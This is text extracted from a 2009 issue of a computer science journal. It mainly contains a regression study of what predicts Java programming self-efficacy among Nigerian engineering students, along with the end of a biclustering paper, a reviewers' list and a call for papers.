F. Divina and J. S. Aguilar-Ruiz. Biclustering of expression data with evolutionary computation,” IEEE Transactions on Knowledge & Data Engineering, 18(5):590–602, 2006. J. Kennedy and R. Eberhart, “Particle swarm optimization,” Neural Networks, 1995. Proceedings., IEEE International Conference on, vol. 4, 1995. MAPSO2007. Kwang Y. Lee and Mohamed A. El-Sharkawi,“Modern heuristis optimization techniques,” IEEE Press, ,2008 A.A. Alizadeh, M.B. Eisen, R.E. Davis, C. Ma, I.S.Lossos, A. Rosenwald, J.C. Boldrick, H. Sabet, T. Tran and X.Yu, “Distinct types of diffuse large B-cell lymphoma identified by gene expression profiling,” Nature, vol. 403,2000, pp. 503-511. S. Mitra and H. Banka, “Multi-objective evolutionary biclustering of gene expression data,” Pattern Recognition,vol. 39, no. 12, 2006, pp. 2464-2477. M. Reyes-Sierra and C.A.C. Coello, “Multi-Objective Particle Swarm Optimizers: A Survey of the State-of-the-Art,” International Journal of Computational Intelligence Research,vol. 2, no. 3, pp. 287-308,2006. J. Kennedy and R.C. Eberhart, “A discrete binary version of the particle swarm algorithm,” Systems, Man, and Cybernetics, 1997.'Computational Cybernetics and Simulation'., 1997 IEEE International Conference on, vol. 5,1997. K. Deb, S. Agarwal, A. Pratap, and T. Meyarivan, “A fast and elitist multi-objective genetic algorithm : NSGA-II,” IEEE Transactions on Evolutionary Computation, vol. 6, pp. 182–197, 2002. Junwan Liu, Zhoujun Li, Feifei Liu and Yiming Chen “Multi-Objective Particle Swarm Optimization Biclustering of Microarray Data, ” IEEE International Conference on Bioinformatics and Biomedicine, pp.363366,2008 A. Ben-Dor, R. Shamir, and Z. Yakhini, “Clustering Gene Expression Patterns,” J. Computational Biology, vol. 6, nos. 3-4, pp. 281-297, 1999. G. Getz, E. Levine, and E. Domany, “Coupled Two-Way Clustering Analysis of Gene Microarray Data,” Proc. NaturalAcademy of Sciences USA, pp. 12,079-12,084, 2000.
AUTHORS PROFILE Seyed Amirhassan Monadjemi, born 1968, in Isfahan, Iran. He got his PhD in computer engineering, pattern recognition and image processing, from University of Bristol, Bristol, England, in 2004. He is now working as a lecturer at the Department of Computer, University of Isfahan, Iran. His research interests include pattern recognition, image processing, human/machine analogy, and physical detection and elimination of viruses.
Trying other Multi-Objective methods such as the simulated annealing, or employing a neural network in archive clustering can be suggested as future work. Again, decimal encoding of particles may be attempted. REFERENCES [1]
[2]
[3]
Y. Cheng and G.M. Church, “Biclustering of Expression Data, ” Proc. Eighth Int’l Conf. Intelligent Systems for Molecular Biology,pp. 93-103, 2000. Stanislav Busygina, Oleg Prokopyevb, Panos M. Pardalosa, “Biclustering in data mining, ” Computers & Operations Research,35,pp 2964 – 2987,2008. Sara C. Madeira and Arlindo L. Oliveira, “Biclustering algorithms for biological data analysis: a survey,” IEEE/ACM Transactions on Computational Biology and Bioinformatics, vol. 1, no. 1, pp. 24-45, 2004.
195
ISSN 1947 5500
IJCSIS, International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
PREDICTORS OF JAVA PROGRAMMING SELF–EFFICACY AMONG ENGINEERING STUDENTS IN A NIGERIAN UNIVERSITY By Philip Olu Jegede, PhD Institute of Education Obafemi Awolowo University, Ile-Ife, Nigeria ABSTRACT The study examined the relationship between Java programming self-efficacy and programming background of engineering students in a Nigerian University. One hundred and ninety two final year engineering students randomly selected from six engineering departments of the university participated in the study. Two research instruments: Programming Background Questionnaire and Java Programming Self-Efficacy Scale were used in collecting relevant information from the subjects. The resulting data were analyzed using Pearson product correlation and Multiple regression analysis. Findings revealed that Java Programming self-efficacy has no significant relationship with each of the computing and programming background factors. It was additionally obtained that the number of programming courses offered and programming courses weighed scores were the only predictors of Java self-efficacy.
INTRODUCTION In a recent study, Askar and Davenport [1] identified variables that are related to self-efficacy of engineering students in Turkey, concluding with factors such as gender, computer experience, and family usage of computers. The importance of the study was based on the necessity of computer skills for today’s engineering professional practices and the factors that would affect their ability to acquire programming skills. However literatures and classroom experience have suggested other factors that may be associated or impact upon programming selfefficacy. For example Romalingans, La Belle and Wiedenbeck [2] posited that programming self-efficacy is often influenced by previous programming experience as well as mental modeling. Bandura [3] posited that judgments of self-efficacy are based on four sources of information. The sources included individual performance attainments, experiences of observing the performance of others, experiences of observing the performance of others, verbal persuasion and psychological reactions that people use partly to judge their capability. This is also applicable to programming domain.
Performance attainment in this context can be
measured by the scores of students in programming courses. In other words if students had persistently scored reasonably in previous programming courses, they tend to increase in their self efficacy. If research can identify predicting factors of programming self-efficacy, the problem of poor performance in programming as well as that of approach avoidance of programming in the future professional practice can be solved particularly among engineers of today as they are daily confronted with tasks that are computer and software driven. Studies identifying discrete factors that are related to programming self efficacy are lacking in Nigeria. Identifying success 196
ISSN 1947 5500
IJCSIS, International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
criteria for computer programmers can help improve training and development programs in academic and industrial settings [4]. However no study can investigate the self-efficacy of all programming languages at a time. Thus this study starts with Java programming language as one of the object oriented languages recently introduced into the curricula of some engineering departments in Nigeria. Other object-oriented programming languages replacing the procedural ones in the old curricula include Matlab, C++ and C#. The goal of this work therefore is to study Java self-efficacy of engineering students by exploring the relationship between Java self-efficacy and each of computing background, programming experience in years and programming courses weighed scores, number of programming courses taken. The study also seeks to investigate their combined influence on Java self-efficacy. Specifically; the study will answer the following questions.
1. What is the relationship between Java self-efficacy and each of computing background, Programming experience, programming weighed scores and number of programming courses taken? 2. Will a combination of these selected factors significantly predict Java self-efficacy? 3. What is the proportion of variance in Java self-efficacy accounted for by the linear combination of the factors; computing experience, programming experience, programming weighed score and number of programming courses taken? 4. What is the relative contribution of each factor in the prediction of Java self-efficacy?
METHOD One hundred and ninety two final year students who offered programming randomly selected from six engineering departments of Obafemi Awolowo University, Ile-Ife, Nigeria participated in the study. These included Mechanical, Civil, Metallurgy and Material Engineering departments; others include Electrical, Chemical and Computer Science and Engineering departments. Two research instruments were employed to collect relevant data from the students. These were Programming Background Questionnaire (PBQ) and Java Programming Self-efficacy Scale (JPSES). PBQ was designed to obtain information on engineering students programming experience, number of programming courses previously undergone and scores obtained in those programming courses. JPSES was developed from the computer programming self-efficacy scale of Ramalingam and Wiedenbeck [2] by Askar and Davenport [1] Participants were to rate their confidence in performing some specified Java programming related tasks. The confidence was to be rated for each item in a seven –point Likert scale as following: Not confident at all (1), Mostly not confident (2), Slightly confident (3), Averagely confident (4), Fairly confident (5), Mostly confident (6), Absolutely confident (7). Total score obtainable on the said efficacy scale was 224 while the minimum score totaled 32.The instruments were administered on the students with the assistance of their lecturers. The resulting data were analyzed using Pearson product correlation and Multiple regression Analysis. 197
ISSN 1947 5500
IJCSIS, International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
RESULTS Table 1: Relationship between Java self-efficacy and Computing and Programming Background
Computing
Year of First
Weighed Score in
Number of
Experience
Programming
Programming
Programming
Courses
Courses taken
Java Self-
-.029
.099
.278
.453
Efficacy
From Table 1, the correlated coefficient between Java programming self-efficacy and each of computing experience, year of first programming, weighed scores in programming courses and number of programming courses taken were each found to be r= -.029, .099, .278 and.453. The relationship was not significant at .05 level of significance. Table 2: Summary of Analysis of Variance of Programming Background and Java Programming SelfEfficacy
ANOVAb Source of Variance 1
Sum of Squares
Df
Mean Square
Regression
148157.887
4
37039.472
Residual
351306.828
188
1868.653
Total
499464.715
192
F
Sig. .000a
19.821
Table 3: Summary of Multiple Regression Analysis of the Relationship between Java Programming Self-Efficacy and Programming Background Sig. Variables Entered
R
R Square
Adjusted R Square
Std. Error of the Estimate
Experience in computing Year of first programming Nunmber of program
.545a
.297
.282
43.22792 .000
Average score
198
ISSN 1947 5500
IJCSIS, International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
Table 4: Significant tests of Regression Weights of Independent Variables
Coefficientsa Standardized Unstandardized Coefficients Model 1
B (Constant)
Std. Error
-80.003
24.752
Experience in computing
-4.758
3.530
year of first programming
1.950
Number of program Average score
Coefficients T
Beta
Sig. -3.232
.001
-.085
-1.348
.179
2.568
.047
.759
.449
26.548
3.530
.469
7.520
.000
1.482
.337
.272
4.397
.000
a. Dependent Variable: Java self efficacy
To verify whether a combination of the computing and programming related background variables will significantly predict Java self-efficacy, data obtained from programming background questionnaires and Java selfefficacy scale were subjected to multiple regression analysis. Table 2 shows the summary of the analysis of variance of the independent variables in the regression procedures. The results in Table 2 show that the analysis of variance of the multiple regression data yielded an F-ratio of 19.821 which is significant at .05 level. This implies that a combination of the independent variables (ie. Computing experience, programming experience in years, number of programming courses taken and the average score in the programming courses) is significantly related to Java self-efficacy of the engineering students. The results of the regression analysis on the relationship between the dependent variable and the combination of the four independent variables are as stated in Table 3, the table shows that using the four independent variables (computing experience, year of first programming number of programming courses and the average score in programming courses) to predict Java programming self-efficacy gives a coefficient of multiple regression ® of .545 and a multiple correlation square (R2) of .297. These values are statistically significant at .05 level, which suggests that only 29.7 percent of the variance of Java self-efficacy were explained by the by the combination of the four independent variables. Further attempt was made to determine the relative power of each of the independent variables to predict Java self-efficacy of engineering students. Table 4 shows, for each of the variables, Error of Estimate (SEB), Beta, T-ratio and the level at which T-ratio is significant. From the table, the number of programming courses taken and the average score in programming courses taken had t-values of 7.520 and 4.397 respectively. The values of Beta-weights for the two variables are .469 and .272 respectively. These values are significant at .05 level of confidence which implies that the two variables contribute majorly to the prediction of Java self-efficacy. From the values of Beta weights and t-ratios for each independent variable, it is clear that the number of programming courses offered had the highest impact in the prediction of Java 199
ISSN 1947 5500
IJCSIS, International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
programming self-efficacy followed by the average score of the programming courses offered. Year of first programming and experience in computing had t-values and Beta weights that are not significant at the .05 level. Summarily, it could be said that the number of programming courses taken and the average score of programming courses offered by engineering students had significant contributions to the prediction of Java self-efficacy, the weights of experience in computing and year of first programming demonstrated week contribution
DISCUSSION The study founds that the number of programming courses offered by students and their achievements in the programming courses (based on scores) significantly predict their Java programming self-efficacy. This appear consistent with the position of Wiedenbeck [5] who obtained that previous programming experience affected perceived self-efficacy on one hand and that perceived self-efficacy in programming also affected performance in programming courses. In an earlier study Ramalingan, La Belle and Wiedenbeck [2] had come out with the results that self-efficacy for programming were influenced by previous programming experience. Bandura [3] also opined that self-efficacy perceptions develop gradually with the attainment of skills and experience. The fact that self-efficacy in programming domain becomes predictable by performance in programming course is logical. This is because learners with high self-efficacy are more likely to undertake challenging tasks and to expend considerably greater efforts to complete them in the face of unexpected difficulties, than those with lower self-efficacy [1] However, the number of years a student had been introduced to programming did not significantly predict Java self-efficacy. This can be understood in this way; experiences in programming by years may not necessary imply continuous active programming experience for example many of the engineering students in the various departments used for the study did offer for the first time programming courses in their second year. The secondary school curriculum in Nigeria do not accommodate programming content and it would be quite unlikely that students took initiative to learn programming on their own before gaining admission into the university. Thus the subjects used for the study appear to experience programming approximately around the same time. Apart from this, students might not get involved in programming except in the semester during which programming as a course was compulsory, hence years of programming experience did not predict Java self-efficacy.Similarly, years of computing experience did not predict Java self-efficacy, this is perhaps because the substantial part of the skills 200
ISSN 1947 5500
IJCSIS, International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
acquired in the course of students encounter with computers used for the study were not in programming domain. Rather many of these skills were internet and word processing-related. This opposed the findings of Askar &Davenport [1] who posited that the number of years of experience a student had with computers had a significant linear contribution to their self-efficacy scores. The findings above have pedagogical implications. Educational researchers recognize that because skills and selfefficacy are so interwined,one way of improving student performance is to improve student self efficacy [6]. Wiendebeck,et al,[6] believed that students must steadily carry out tasks of increasing difficulty, until they have a history of solid attainments. Expounding more on this idea, increasing performance through self efficacy in programming courses will necessitate the following; (i) More assignments at the beginning of the programming courses than at the end of the semester. The assignment should move gradually from simple to complex given severally. Observation has shown that instructors often wait till the end of the semester (i.e. close to the examination) before giving students assignments. But when assignments are given severally at the beginning of the course, confidence of students become boosted particularly when the assignments are undertaken with success. (ii) Prompt feedbacks must be ensured; even when students undertake regular assignment and their scores are not made known promptly, reason(s) for the assignments become defeated, on the other hand performance accomplishment becomes assured when students receive prompt feedback with success scores thereby leading to higher self-efficacy. (iii) In the course of instructional lessons, group work in programming classes would help increase self efficacy. This is because experiences of observing the performance of others give rise to self efficacy. This is as posited by Bandura [3].
CONCLUSION This study obtained that weighed scores in programming courses and the number of programming courses offered by engineering students were the significant predictors in Java programming self-efficacy. This study also finds no significant relationship between Java programming self-efficacy and each of engineering students computing 201
ISSN 1947 5500
IJCSIS, International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
background and years of first programming. Further studies are needed in identifying factors that will better predict Java self efficacy. In addition to this, the study need be replicated for other object oriented languages currently introduced into the curriculum. A possible limitation of the study was that the scores obtained in programming courses did not derive from standardized tests. They were proceeds of teacher-made tests with their inherent weaknesses. ACKNOWLEDGEMENT The study acknowledged Askar & Davenport [1] whose works provided an instrument and inspiration for this effort.
REFERENCES [1] Askar. P. & Davenport, D (2009). An investigation of factors related to self-efficacy for Java Programming Among Engineering Students. Turkish Online Journal of Education Technology 8(1) [2] Ramalingam, V. & Wiedenbeck S. (1998). Development and Validation of Scores on a Computer Programming Self-Efficacy Scale and Group Analysis of Novice Programmer Self-Efficacy. Journal of Educational Computing Research. 19(4), 367-386 [3] Bandura, A (1986). Social Foundations of Thought and Action; A Social cognitive Theory, Prentice Hall, Eaglewood Cliffs, NJ. [4] Sterling, G.D. & Brinthaupt T.M. (2004). Faculty and Industry Conceptions of Successful Computer Programmers. Journal of Information Systems Education, 14(4). [5] Wiedenbeck, S. (2005). Factors affecting the success of non-majors in learning to program. Proceedings of the first International Workshop on Computing Education Research. Seatle, 13-24. [6] Wiedenbeck.S,LaBelle.D&Kain.V.N.R(2004).Factors Affecting Course Outcomes in Introductory Programming.Proceedings of the 16th Workshop of the Psychology of Programming Interest Group.Carlow, Ireland, 97-110 AUTHOR’S PROFILE Dr Philip Jegede is an Associate Professor in the Institute of Education of Obafemi Awolowo University,IleIfe,Nigeria.He holds both Bachelor and Master of Science degrees in Mathematics from University of Lagos,Nigeria.He later ventured into the field of Education by enrolling and completing a Master of Education and consequently a PhD degree in Curriculum Studies with focus in ICT. His research interest is in Computer Education. Before his present appointment, he had lectured in a College of Education and a Polytechnic School.
202
ISSN 1947 5500
IJCSIS REVIEWERS’ LIST 1. Dr. Lam Hong Lee, Universiti Tunku Abdul Rahman, Malaysia 2. Assoc. Prof. N. Jaisankar, VIT University, Vellore,Tamilnadu, India 3. Dr. Amogh Kavimandan, The Mathworks Inc., USA 4. Dr. Ramasamy Mariappan, Vinayaka Missions University, India 5. Dr. Neeraj Kumar, SMVD University, Katra (J&K), India 6. Dr. Junjie Peng, Shanghai University, P. R. China 7. Dr. Ilhem LENGLIZ, HANA Group - CRISTAL Laboratory, Tunisia 8. Prof. Dr. Durgesh Kumar Mishra, Acropolis Institute of Technology and Research, Indore, MP, India 9. Prof. Dr.C.Suresh Gnana Dhas, Anna University, India 10. Prof. Pijush Biswas, RCC Institute of Information Technology, India 11. Dr. A. Arul Lawrence, Royal College of Engineering & Technology, India 12. Mr. Wongyos Keardsri, Chulalongkorn University, Bangkok, Thailand 13. Mr. Somesh Kumar Dewangan, CSVTU Bhilai (C.G.)/ Dimat Raipur, India 14. Mr. Hayder N. Jasem, University Putra Malaysia, Malaysia 15. Mr. A.V.Senthil Kumar, C. M. S. College of Science and Commerce, India 16. Mr. R. S. Karthik, C. M. S. College of Science and Commerce, India 17. Mr. P. Vasant, University Technology Petronas, Malaysia 18. Mr. Wong Kok Seng, Soongsil University, Seoul, South Korea 19. Mr. Praveen Ranjan Srivastava, BITS PILANI, India 20. Mr. Kong Sang Kelvin, The Hong Kong Polytechnic University, Hong Kong 21. Mr. Mohd Nazri Ismail, Universiti Kuala Lumpur, Malaysia 22. Dr. Rami J. Matarneh, Al-isra Private University, Amman, Jordan 23. Dr Ojesanmi Olusegun Ayodeji, Ajayi Crowther University, Oyo, Nigeria 24. Dr. Siddhivinayak Kulkarni, University of Ballarat, Ballarat, Victoria, Australia 25. Dr. Riktesh Srivastava, Skyline University, UAE 26. Dr. Oras F. Baker, UCSI University - Kuala Lumpur, Malaysia 27. Dr. Ahmed S. Ghiduk, Faculty of Science, Beni-Suef University, Egypt and Department of Computer science, Taif University, Saudi Arabia 28. Assist. Prof. Tirthankar Gayen, CIT, West Bengal University of Technology, India 29. Ms. Huei-Ru Tseng, National Chiao Tung University, Taiwan 30. Prof. Ning Xu, Wuhan University of Technology, China 31. Mr Mohammed Salem Binwahlan, Hadhramout University of Science and Technology, Yemen & Universiti Teknologi Malaysia, Malaysia. 32. Dr. Aruna Ranganath, Bhoj Reddy Engineering College for Women, India 33. Mr. Hafeezullah Amin, Institute of Information Technology, KUST, Kohat, Pakistan
34. Prof. Syed S. Rizvi, University of Bridgeport, USA 35. Mr. Shahbaz Pervez Chattha, University of Engineering and Technology Taxila, Pakistan 36. Dr. Shishir Kumar, Jaypee University of Information Technology, Wakanaghat (HP), India 37. Mr. Shahid Mumtaz, Portugal Telecommunication, Instituto de Telecomunicações (IT), Aveiro 38. Mr. Rajesh K Shukla, Corporate Institute of Science & Technology Bhopal M P 39. Dr. Poonam Garg, Institute of Management Technology, India 40. Mr. S. Mehta, Inha University, Korea 41. Mr. Dilip Kumar S.M, University Visvesvaraya College of Engineering (UVCE), Bangalore University 42. Prof. Malik Sikander Hayat Khiyal, Fatima Jinnah Women University, Rawalpindi, Pakistan 43. Dr. Virendra Gomase , Department of Bioinformatics, Padmashree Dr. D.Y. Patil University 44. Dr. Irraivan Elamvazuthi, University Technology PETRONAS, Malaysia 45. Mr. Saqib Saeed, University of Siegen, Germany 46. Mr. Pavan Kumar Gorakavi, IPMA-USA [YC] 47. Dr. Ahmed Nabih Zaki Rashed, Menoufia University, Egypt 48. Prof. Shishir K. Shandilya, Rukmani Devi Institute of Science & Technology, India 49. Mrs.J.Komala Lakshmi, SNR Sons College, Computer Science, India 50. Mr. Muhammad Sohail, KUST, Pakistan 51. Dr. Manjaiah D.H, Mangalore University, India 52. Dr. S Santhosh Baboo, D.G.Vaishnav College, Chennai, India 53. Assist. Prof. Sugam Sharma, NIET, India / Iowa State University, USA 54. Jorge L. Hernández-Ardieta, University Carlos III of Madrid, Spain 55. Prof. Dr. Mokhtar Beldjehem, Sainte-Anne University, Halifax, NS, Canada 56. Dr. Deepak Laxmi Narasimha, VIT University, India 57. Prof. Dr. Arunkumar Thangavelu, Vellore Institute Of Technology, India 58. Mr. M. Azath, Anna University, India 59. Mr. Md. Rabiul Islam, Rajshahi University of Engineering & Technology (RUET), Bangladesh 60. Dr. Shimon K. Modi, Director of Research BSPA Labs, Purdue University, USA 61. Mr. Aos Alaa Zaidan Ansaef, Multimedia University, Malaysia 62. Dr Suresh Jain, Professor (on leave), Institute of Engineering & Technology, Devi Ahilya University, Indore (MP) India, 63. Mr. Mohammed M. Kadhum, Universiti Utara Malaysia 64. Mr. Hanumanthappa. J. , University of Mysore, India 65. Mr. Syed Ishtiaque Ahmed, Bangladesh University of Engineering and Technology (BUET) 66. Mr Akinola Solomon Olalekan, University of Ibadan, Ibadan, Nigeria 67. Mr. Santosh K. Pandey, Department of Information Technology, The Institute of Chartered Accountants of India
68. Dr. P. Vasant, Power Control Optimization, Malaysia 69. Dr. Petr Ivankov, Automatika - S, Russian Federation 70. Dr. Utkarsh Seetha, Data Infosys Limited, India 71. Mrs. Priti Maheshwary, Maulana Azad National Institute of Technology, Bhopal 72. Dr. (Mrs) Padmavathi Ganapathi, Avinashilingam University for Women, Coimbatore 73. Assist. Prof. A. Neela madheswari, Anna university, India 74. Prof. Ganesan Ramachandra Rao, PSG College of Arts and Science, India 75. Mr. Kamanashis Biswas, Daffodil International University, Bangladesh 76. Dr. Atul Gonsai, Saurashtra University, Gujarat, India 77. Mr. Angkoon Phinyomark, Prince of Songkla University, Thailand 78. Mrs. G. Nalini Priya, Anna University, Chennai
CALL FOR PAPERS International Journal of Computer Science and Information Security IJCSIS 2009-2010 ISSN: 1947-5500 http://sites.google.com/site/ijcsis/ International Journal Computer Science and Information Security, now at its fourth edition, is the premier scholarly venue in the areas of computer science and security issues. IJCSIS 2009-2010 will provide a high profile, leading edge platform for researchers and engineers alike to publish state-of-the-art research in the respective fields of information technology and communication security. The journal will feature a diverse mixture of publication articles including core and applied computer science related topics. Authors are solicited to contribute to the special issue by submitting articles that illustrate research results, projects, surveying works and industrial experiences that describe significant advances in the following areas, but are not limited to. Submissions may span a broad range of topics, e.g.:
Track A: Security Access control, Anonymity, Audit and audit reduction & Authentication and authorization, Applied cryptography, Cryptanalysis, Digital Signatures, Biometric security, Boundary control devices, Certification and accreditation, Cross-layer design for security, Security & Network Management, Data and system integrity, Database security, Defensive information warfare, Denial of service protection, Intrusion Detection, Anti-malware, Distributed systems security, Electronic commerce, E-mail security, Spam, Phishing, E-mail fraud, Virus, worms, Trojan Protection, Grid security, Information hiding and watermarking & Information survivability, Insider threat protection, Integrity Intellectual property protection, Internet/Intranet Security, Key management and key recovery, Languagebased security, Mobile and wireless security, Mobile, Ad Hoc and Sensor Network Security, Monitoring and surveillance, Multimedia security ,Operating system security, Peer-to-peer security, Performance Evaluations of Protocols & Security Application, Privacy and data protection, Product evaluation criteria and compliance, Risk evaluation and security certification, Risk/vulnerability assessment, Security & Network Management, Security Models & protocols, Security threats & countermeasures (DDoS, MiM, Session Hijacking, Replay attack etc,), Trusted computing, Ubiquitous Computing Security, Virtualization security, VoIP security, Web 2.0 security, Submission Procedures, Active Defense Systems, Adaptive Defense Systems, Benchmark, Analysis and Evaluation of Security Systems, Distributed Access Control and Trust Management, Distributed Attack Systems and Mechanisms, Distributed Intrusion Detection/Prevention Systems, Denial-of-Service Attacks and Countermeasures, High Performance Security Systems, Identity Management and Authentication, Implementation, Deployment and Management of Security Systems, Intelligent Defense Systems, Internet and Network Forensics, Largescale Attacks and Defense, RFID Security and Privacy, Security Architectures in Distributed Network Systems, Security for Critical Infrastructures, Security for P2P systems and Grid Systems, Security in ECommerce, Security and Privacy in Wireless Networks, Secure Mobile Agents and Mobile Code, Security Protocols, Security Simulation and Tools, Security Theory and Tools, Standards and Assurance Methods, Trusted Computing, Viruses, Worms, and Other Malicious Code, World Wide Web Security, Novel and emerging secure architecture, Study of attack strategies, attack modeling, Case studies and analysis of actual attacks, Continuity of Operations during an attack, Key management, Trust management, Intrusion detection techniques, Intrusion response, alarm management, and correlation analysis, Study of tradeoffs between security and system performance, Intrusion tolerance systems, Secure protocols, Security in wireless networks (e.g. mesh networks, sensor networks, etc.), Cryptography and Secure Communications, Computer Forensics, Recovery and Healing, Security Visualization, Formal Methods in Security, Principles for Designing a Secure Computing System, Autonomic Security, Internet Security, Security in Health Care Systems, Security Solutions Using Reconfigurable Computing, Adaptive and Intelligent Defense Systems, Authentication and Access control, Denial of service attacks and countermeasures, Identity, Route and
Location Anonymity schemes, Intrusion detection and prevention techniques, Cryptography, encryption algorithms and Key management schemes, Secure routing schemes, Secure neighbor discovery and localization, Trust establishment and maintenance, Confidentiality and data integrity, Security architectures, deployments and solutions, Emerging threats to cloud-based services, Security model for new services, Cloud-aware web service security, Information hiding in Cloud Computing, Securing distributed data storage in cloud, Security, privacy and trust in mobile computing systems and applications, Middleware security & Security features: middleware software is an asset on its own and has to be protected, interaction between security-specific and other middleware features, e.g., context-awareness, Middleware-level security monitoring and measurement: metrics and mechanisms for quantification and evaluation of security enforced by the middleware, Security co-design: trade-off and co-design between application-based and middleware-based security, Policy-based management: innovative support for policy-based definition and enforcement of security concerns, Identification and authentication mechanisms: Means to capture application specific constraints in defining and enforcing access control rules, Middleware-oriented security patterns: identification of patterns for sound, reusable security, Security in aspect-based middleware: mechanisms for isolating and enforcing security aspects, Security in agent-based platforms: protection for mobile code and platforms, Smart Devices: Biometrics, National ID cards, Embedded Systems Security and TPMs, RFID Systems Security, Smart Card Security, Pervasive Systems: Digital Rights Management (DRM) in pervasive environments, Intrusion Detection and Information Filtering, Localization Systems Security (Tracking of People and Goods), Mobile Commerce Security, Privacy Enhancing Technologies, Security Protocols (for Identification and Authentication, Confidentiality and Privacy, and Integrity), Ubiquitous Networks: Ad Hoc Networks Security, DelayTolerant Network Security, Domestic Network Security, Peer-to-Peer Networks Security, Security Issues in Mobile and Ubiquitous Networks, Security of GSM/GPRS/UMTS Systems, Sensor Networks Security, Vehicular Network Security, Wireless Communication Security: Bluetooth, NFC, WiFi, WiMAX, WiMedia, others
This Track will emphasize the design, implementation, management and applications of computer communications, networks and services. Topics of mostly theoretical nature are also welcome, provided there is clear practical potential in applying the results of such work. Track B: Computer Science Broadband wireless technologies: LTE, WiMAX, WiRAN, HSDPA, HSUPA, Resource allocation and interference management, Quality of service and scheduling methods, Capacity planning and dimensioning, Cross-layer design and Physical layer based issue, Interworking architecture and interoperability, Relay assisted and cooperative communications, Location and provisioning and mobility management, Call admission and flow/congestion control, Performance optimization, Channel capacity modeling and analysis, Middleware Issues: Event-based, publish/subscribe, and message-oriented middleware, Reconfigurable, adaptable, and reflective middleware approaches, Middleware solutions for reliability, fault tolerance, and quality-of-service, Scalability of middleware, Context-aware middleware, Autonomic and self-managing middleware, Evaluation techniques for middleware solutions, Formal methods and tools for designing, verifying, and evaluating, middleware, Software engineering techniques for middleware, Service oriented middleware, Agent-based middleware, Security middleware, Network Applications: Network-based automation, Cloud applications, Ubiquitous and pervasive applications, Collaborative applications, RFID and sensor network applications, Mobile applications, Smart home applications, Infrastructure monitoring and control applications, Remote health monitoring, GPS and location-based applications, Networked vehicles applications, Alert applications, Embeded Computer System, Advanced Control Systems, and Intelligent Control : Advanced control and measurement, computer and microprocessor-based control, signal processing, estimation and identification techniques, application specific IC’s, nonlinear and adaptive control, optimal and robot control, intelligent control, evolutionary computing, and intelligent systems, instrumentation subject to critical conditions, automotive, marine and aero-space control and all other control applications, Intelligent Control System, Wiring/Wireless Sensor, Signal Control System. Sensors, Actuators and Systems Integration : Intelligent sensors and actuators, multisensor fusion, sensor array and multi-channel processing, micro/nano technology, microsensors and microactuators, instrumentation electronics, MEMS and system integration, wireless sensor, Network Sensor, Hybrid
Sensor, Distributed Sensor Networks. Signal and Image Processing : Digital signal processing theory, methods, DSP implementation, speech processing, image and multidimensional signal processing, Image analysis and processing, Image and Multimedia applications, Real-time multimedia signal processing, Computer vision, Emerging signal processing areas, Remote Sensing, Signal processing in education. Industrial Informatics: Industrial applications of neural networks, fuzzy algorithms, Neuro-Fuzzy application, bioInformatics, real-time computer control, real-time information systems, human-machine interfaces, CAD/CAM/CAT/CIM, virtual reality, industrial communications, flexible manufacturing systems, industrial automated process, Data Storage Management, Harddisk control, Supply Chain Management, Logistics applications, Power plant automation, Drives automation. Information Technology, Management of Information System : Management information systems, Information Management, Nursing information management, Information System, Information Technology and their application, Data retrieval, Data Base Management, Decision analysis methods, Information processing, Operations research, E-Business, E-Commerce, E-Government, Computer Business, Security and risk management, Medical imaging, Biotechnology, Bio-Medicine, Computer-based information systems in health care, Changing Access to Patient Information, Healthcare Management Information Technology. Communication/Computer Network, Transportation Application : On-board diagnostics, Active safety systems, Communication systems, Wireless technology, Communication application, Navigation and Guidance, Vision-based applications, Speech interface, Sensor fusion, Networking theory and technologies, Transportation information, Autonomous vehicle, Vehicle application of affective computing, Advance Computing technology and their application : Broadband and intelligent networks, Data Mining, Data fusion, Computational intelligence, Information and data security, Information indexing and retrieval, Information processing, Information systems and applications, Internet applications and performances, Knowledge based systems, Knowledge management, Software Engineering, Decision making, Mobile networks and services, Network management and services, Neural Network, Fuzzy logics, Neuro-Fuzzy, Expert approaches, Innovation Technology and Management : Innovation and product development, Emerging advances in business and its applications, Creativity in Internet management and retailing, B2B and B2C management, Electronic transceiver device for Retail Marketing Industries, Facilities planning and management, Innovative pervasive computing applications, Programming paradigms for pervasive systems, Software evolution and maintenance in pervasive systems, Middleware services and agent technologies, Adaptive, autonomic and context-aware computing, Mobile/Wireless computing systems and services in pervasive computing, Energy-efficient and green pervasive computing, Communication architectures for pervasive computing, Ad hoc networks for pervasive communications, Pervasive opportunistic communications and applications, Enabling technologies for pervasive systems (e.g., wireless BAN, PAN), Positioning and tracking technologies, Sensors and RFID in pervasive systems, Multimodal sensing and context for pervasive applications, Pervasive sensing, perception and semantic interpretation, Smart devices and intelligent environments, Trust, security and privacy issues in pervasive systems, User interfaces and interaction models, Virtual immersive communications, Wearable computers, Standards and interfaces for pervasive computing environments, Social and economic models for pervasive systems, Active and Programmable Networks, Ad Hoc & Sensor Network, Congestion and/or Flow Control, Content Distribution, Grid Networking, High-speed Network Architectures, Internet Services and Applications, Optical Networks, Mobile and Wireless Networks, Network Modeling and Simulation, Multicast, Multimedia Communications, Network Control and Management, Network Protocols, Network Performance, Network Measurement, Peer to Peer and Overlay Networks, Quality of Service and Quality of Experience, Ubiquitous Networks, Crosscutting Themes – Internet Technologies, Infrastructure, Services and Applications; Open Source Tools, Open Models and Architectures; Security, Privacy and Trust; Navigation Systems, Location Based Services; Social Networks and Online Communities; ICT Convergence, Digital Economy and Digital Divide, Neural Networks, Pattern Recognition, Computer Vision, Advanced Computing Architectures and New Programming Models, Visualization and Virtual Reality as Applied to Computational Science, Computer Architecture and Embedded Systems, Technology in Education, Theoretical Computer Science, Computing Ethics, Computing Practices & Applications
Authors are invited to submit papers through e-mail [email protected]. Submissions must be original and should not have been published previously or be under consideration for publication while being evaluated by IJCSIS. Before submission authors should carefully read over the journal's Author Guidelines, which are located at http://sites.google.com/site/ijcsis/authors-notes .
© IJCSIS PUBLICATION 2009 ISSN 1947 5500